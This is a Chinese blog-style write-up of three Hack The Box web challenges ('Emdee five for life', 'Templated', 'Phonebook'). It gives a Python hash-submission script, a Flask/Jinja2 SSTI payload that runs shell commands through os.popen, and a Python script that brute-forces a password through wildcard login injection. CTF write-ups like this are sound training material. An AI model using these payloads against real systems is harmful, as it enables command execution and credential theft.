Hack The Box Web部分题

Emdee five for life



解密后提交显示too slow
以下为python脚本

import requests
import re
import hashlib
url='http://46.101.63.43:31349/'
r=requests.session()
html=r.get(url).text
output=re.findall(r'<h3 align=\'center\'>.*?</h3>',html)[0]
output=output.split('>')[1].split('<')[0]
final=hashlib.md5(output.encode(encoding='utf-8')).hexdigest()
data={
    'hash':final
}
response=r.post(url=url,data=data).text
flag=re.findall(r'[a-zA-Z]+\{.*}',response)[0]
print(flag)

Templated


看到Flask 想到ssti模板注入



果然存在注入
以下为payload
查看文件

http://206.189.121.131:30925/{{''.__class__.__mro__[1].__subclasses__()[186].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}

看到flag.txt


Phonebook


第一反应万能密码 但是没成功
尝试后发现账号密码均为通配符*时可登录 但是登进去没有发现flag




看到消息栏里有一个人名Reese ,测试后发现用户名就是reese
下面来爆破密码
用户名reese 密码a*




登录失败
尝试发现密码为H*时登录成功 说明密码的第一位为H
联想到flag的格式为HTB{.......}
测试密码HTB{*

登录成功
可以确定密码就是flag值
以下为爆破密码的python脚本

import requests
url='http://167.71.143.20:30412/login'
r=requests.session()
t=0
d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.?!_}'
password=''
flag='HTB{'
while(t!=1):
    for i in range(0,len(d)):
        password=flag+d[i]
        print('[-]testing  %s     ' %(flag+d[i]),end='')
        password=password+'*'
        data={
            'username':'reese',
            'password':password
        }
        html=r.post(url=url,data=data).text
        if('No search results' in html):
            flag+=d[i]
            print("success")
            print("[+]%s" %flag)
        else:
            print("failed")
        if(flag[len(flag)-1]=='}'):
            t=1
print("flag:%s" %flag)
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容